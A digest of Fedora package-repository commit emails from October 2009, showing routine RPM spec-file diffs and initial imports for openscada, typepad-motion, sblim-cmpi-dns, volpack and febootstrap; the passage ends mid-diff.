Date: Thu, 22 Oct 2009 12:03:36 +0000 (UTC)
Subject: rpms/openscada/F-12 openscada.spec,1.16,1.17
Message-ID: <20091022120336.DC04611C008C@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10044/F-12

Modified Files:
	openscada.spec 
Log Message:
version bump


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/openscada.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- openscada.spec	22 Oct 2009 12:00:22 -0000	1.16
+++ openscada.spec	22 Oct 2009 12:03:36 -0000	1.17
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -1487,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Thu Oct 22 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-4
+- Fixed the last broken dep
+
 * Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
 - Fixed the rest of broken deps introduced with new sub-packages.
 



From peter at fedoraproject.org  Thu Oct 22 12:03:37 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:03:37 +0000 (UTC)
Subject: rpms/openscada/devel openscada.spec,1.16,1.17
Message-ID: <20091022120337.1D56011C008C@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10044/devel

Modified Files:
	openscada.spec 
Log Message:
version bump


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/openscada.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- openscada.spec	22 Oct 2009 12:00:22 -0000	1.16
+++ openscada.spec	22 Oct 2009 12:03:36 -0000	1.17
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -1487,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Thu Oct 22 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-4
+- Fixed the last broken dep
+
 * Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
 - Fixed the rest of broken deps introduced with new sub-packages.
 



From sdz at fedoraproject.org  Thu Oct 22 12:04:34 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 22 Oct 2009 12:04:34 +0000 (UTC)
Subject: rpms/typepad-motion/devel import.log, NONE, 1.1 typepad-motion.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022120434.9D15F11C008C@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/typepad-motion/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10961/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log typepad-motion.spec 
Log Message:
initial import



--- NEW FILE import.log ---
typepad-motion-1_0_1-3_fc11:HEAD:typepad-motion-1.0.1-3.fc11.src.rpm:1256213051


--- NEW FILE typepad-motion.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           typepad-motion
Version:        1.0.1
Release:        3%{?dist}
Summary:        A microblogging application for building online communities

Group:          Applications/Publishing
License:        BSD
URL:            http://developer.typepad.com/motion/create-motion.html
Source0:        http://pypi.python.org/packages/source/t/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django django-flash django-typepad python-batchhttp python-feedparser python-httplib2 
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad sqlite

%description
A Motion site is a place where people come together, on the Web, to share
thoughts, interesting links, favorite photos, great music and exciting
videos. Build Motion as a stand-alone community or integrate it into your
existing website as a flexible community portal.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Wed Oct 07 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-3
- add sqlite dependency

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-2
- update package requirements

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:40:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:04:34 -0000	1.2
@@ -0,0 +1 @@
+typepad-motion-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:40:04 -0000	1.1
+++ sources	22 Oct 2009 12:04:34 -0000	1.2
@@ -0,0 +1 @@
+dea340c424ae92f7145596bb538ffc8d  typepad-motion-1.0.1.tar.gz



From sdz at fedoraproject.org  Thu Oct 22 12:05:48 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 22 Oct 2009 12:05:48 +0000 (UTC)
Subject: rpms/typepad-motion/F-12 import.log, NONE, 1.1 typepad-motion.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022120548.4245E11C008C@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/typepad-motion/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11647/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log typepad-motion.spec 
Log Message:
initial import



--- NEW FILE import.log ---
typepad-motion-1_0_1-3_fc11:F-12:typepad-motion-1.0.1-3.fc11.src.rpm:1256213110


--- NEW FILE typepad-motion.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           typepad-motion
Version:        1.0.1
Release:        3%{?dist}
Summary:        A microblogging application for building online communities

Group:          Applications/Publishing
License:        BSD
URL:            http://developer.typepad.com/motion/create-motion.html
Source0:        http://pypi.python.org/packages/source/t/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django django-flash django-typepad python-batchhttp python-feedparser python-httplib2 
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad sqlite

%description
A Motion site is a place where people come together, on the Web, to share
thoughts, interesting links, favorite photos, great music and exciting
videos. Build Motion as a stand-alone community or integrate it into your
existing website as a flexible community portal.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Wed Oct 07 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-3
- add sqlite dependency

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-2
- update package requirements

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:40:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:05:46 -0000	1.2
@@ -0,0 +1 @@
+typepad-motion-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:40:04 -0000	1.1
+++ sources	22 Oct 2009 12:05:47 -0000	1.2
@@ -0,0 +1 @@
+dea340c424ae92f7145596bb538ffc8d  typepad-motion-1.0.1.tar.gz



From sdz at fedoraproject.org  Thu Oct 22 12:07:43 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 22 Oct 2009 12:07:43 +0000 (UTC)
Subject: rpms/typepad-motion/F-11 import.log, NONE, 1.1 typepad-motion.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022120743.3337511C008C@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/typepad-motion/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12818/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log typepad-motion.spec 
Log Message:
initial import



--- NEW FILE import.log ---
typepad-motion-1_0_1-3_fc11:F-11:typepad-motion-1.0.1-3.fc11.src.rpm:1256213207


--- NEW FILE typepad-motion.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           typepad-motion
Version:        1.0.1
Release:        3%{?dist}
Summary:        A microblogging application for building online communities

Group:          Applications/Publishing
License:        BSD
URL:            http://developer.typepad.com/motion/create-motion.html
Source0:        http://pypi.python.org/packages/source/t/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django django-flash django-typepad python-batchhttp python-feedparser python-httplib2 
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad sqlite

%description
A Motion site is a place where people come together, on the Web, to share
thoughts, interesting links, favorite photos, great music and exciting
videos. Build Motion as a stand-alone community or integrate it into your
existing website as a flexible community portal.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Wed Oct 07 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-3
- add sqlite dependency

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-2
- update package requirements

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:40:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:07:42 -0000	1.2
@@ -0,0 +1 @@
+typepad-motion-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:40:04 -0000	1.1
+++ sources	22 Oct 2009 12:07:42 -0000	1.2
@@ -0,0 +1 @@
+dea340c424ae92f7145596bb538ffc8d  typepad-motion-1.0.1.tar.gz



From vcrhonek at fedoraproject.org  Thu Oct 22 12:08:24 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 12:08:24 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/EL-5 sblim-cmpi-dns-0.5.2-include.patch, NONE, 
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091022120824.ADE7711C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13297

Modified Files:
	sources 
Added Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
Initial commit

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 12:08:24 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From sdz at fedoraproject.org  Thu Oct 22 12:09:53 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 22 Oct 2009 12:09:53 +0000 (UTC)
Subject: rpms/typepad-motion/EL-5 import.log, NONE, 1.1 typepad-motion.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022120953.B996911C008C@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/typepad-motion/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13764/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log typepad-motion.spec 
Log Message:
initial import



--- NEW FILE import.log ---
typepad-motion-1_0_1-3_fc11:EL-5:typepad-motion-1.0.1-3.fc11.src.rpm:1256213343


--- NEW FILE typepad-motion.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           typepad-motion
Version:        1.0.1
Release:        3%{?dist}
Summary:        A microblogging application for building online communities

Group:          Applications/Publishing
License:        BSD
URL:            http://developer.typepad.com/motion/create-motion.html
Source0:        http://pypi.python.org/packages/source/t/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django django-flash django-typepad python-batchhttp python-feedparser python-httplib2 
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad sqlite

%description
A Motion site is a place where people come together, on the Web, to share
thoughts, interesting links, favorite photos, great music and exciting
videos. Build Motion as a stand-alone community or integrate it into your
existing website as a flexible community portal.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Wed Oct 07 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-3
- add sqlite dependency

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-2
- update package requirements

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:40:04 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:09:53 -0000	1.2
@@ -0,0 +1 @@
+typepad-motion-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/typepad-motion/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:40:04 -0000	1.1
+++ sources	22 Oct 2009 12:09:53 -0000	1.2
@@ -0,0 +1 @@
+dea340c424ae92f7145596bb538ffc8d  typepad-motion-1.0.1.tar.gz



From red at fedoraproject.org  Thu Oct 22 12:25:28 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Thu, 22 Oct 2009 12:25:28 +0000 (UTC)
Subject: rpms/volpack/devel import.log, NONE, 1.1 volpack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022122528.B836911C008C@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/volpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17321/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log volpack.spec 
Log Message:
* Thu Oct 22 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-3
- initial import




--- NEW FILE import.log ---
volpack-1_0c7-3_fc11:HEAD:volpack-1.0c7-3.fc11.src.rpm:1256214165


--- NEW FILE volpack.spec ---
Name:          volpack
Version:       1.0c7
Release:       3%{?dist}
Summary:       Portable library for fast volume rendering
Group:         System Environment/Libraries
License:       BSD
URL:           http://amide.sourceforge.net
Source0:       http://downloads.sourceforge.net/amide/%{name}/%{name}-%{version}.tgz
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: m4

%description 
VolPack is a portable library of fast volume rendering algorithms that
produce high-quality images.


%package       devel
Summary:       Shared libraries and header files for development using volpack
Group:         Development/Libraries
Requires:      volpack = %{version}-%{release}

%description   devel
The volpack-devel package contains the header files and shared libraries
necessary for developing programs using the volpack volume rendering 
library.


%package       doc
Summary:       Documentation and examples for help using volpack
Group:         Documentation
Requires:      volpack = %{version}-%{release}

%description   doc
The volpack-doc package contains docs and examples helpful for developing
programs using the volpack volume rendering library.


%prep
%setup -q


%build
%configure --disable-dependency-tracking --disable-static
# no %{?_smp_mflags} because parallel builds will fail very often
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'

# remove doc and example files we don't want to package
rm -f doc/vp_userguide..pdf doc/Makefile*
pushd examples
make clean
rm -f Makefile.*
chmod 644 test.csh
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README
%{_mandir}/man3/*.3*
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%files doc
%defattr(-,root,root,-)
%doc doc/ examples/


%changelog
* Sun Oct 04 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-3
- Disabled parallel building due to problems

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-2
- Fixed some bits and added a doc subpackage

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:30:21 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:25:27 -0000	1.2
@@ -0,0 +1 @@
+volpack-1.0c7.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:30:21 -0000	1.1
+++ sources	22 Oct 2009 12:25:27 -0000	1.2
@@ -0,0 +1 @@
+119ec828ecad8dbf7afc4e71f4c4eb69  volpack-1.0c7.tgz



From rjones at fedoraproject.org  Thu Oct 22 12:28:00 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:28:00 +0000 (UTC)
Subject: rpms/febootstrap/devel .cvsignore, 1.9, 1.10 febootstrap.spec, 1.9, 
	1.10 sources, 1.9, 1.10
Message-ID: <20091022122800.2B9DC11C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18996

Modified Files:
	.cvsignore febootstrap.spec sources 
Log Message:
New upstream release 2.5.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	30 Jul 2009 15:30:22 -0000	1.9
+++ .cvsignore	22 Oct 2009 12:27:59 -0000	1.10
@@ -1 +1 @@
-febootstrap-2.4.tar.gz
+febootstrap-2.5.tar.gz


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/devel/febootstrap.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- febootstrap.spec	30 Jul 2009 15:30:22 -0000	1.9
+++ febootstrap.spec	22 Oct 2009 12:27:59 -0000	1.10
@@ -1,6 +1,6 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
-Version:     2.4
+Version:     2.5
 Release:     1%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
@@ -20,7 +20,6 @@ Requires:    yum >= 3.2
 Requires:    MAKEDEV
 Requires:    util-linux-ng
 Requires:    cpio
-Requires:    upx
 
 # These are suggestions.  However making them hard requirements
 # pulls in far too much stuff.
@@ -81,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+- New upstream release 2.5.
+
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	30 Jul 2009 15:30:22 -0000	1.9
+++ sources	22 Oct 2009 12:27:59 -0000	1.10
@@ -1 +1 @@
-a1989ed76830092e40eec23470795258  febootstrap-2.4.tar.gz
+895e770f9036b21d534c84f1a0158f0b  febootstrap-2.5.tar.gz



From rjones at fedoraproject.org  Thu Oct 22 12:28:07 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:28:07 +0000 (UTC)
Subject: rpms/febootstrap/F-12 .cvsignore, 1.9, 1.10 febootstrap.spec, 1.9, 
	1.10 sources, 1.9, 1.10
Message-ID: <20091022122807.0DE8D11C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19039

Modified Files:
	.cvsignore febootstrap.spec sources 
Log Message:
New upstream release 2.5.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	30 Jul 2009 15:30:22 -0000	1.9
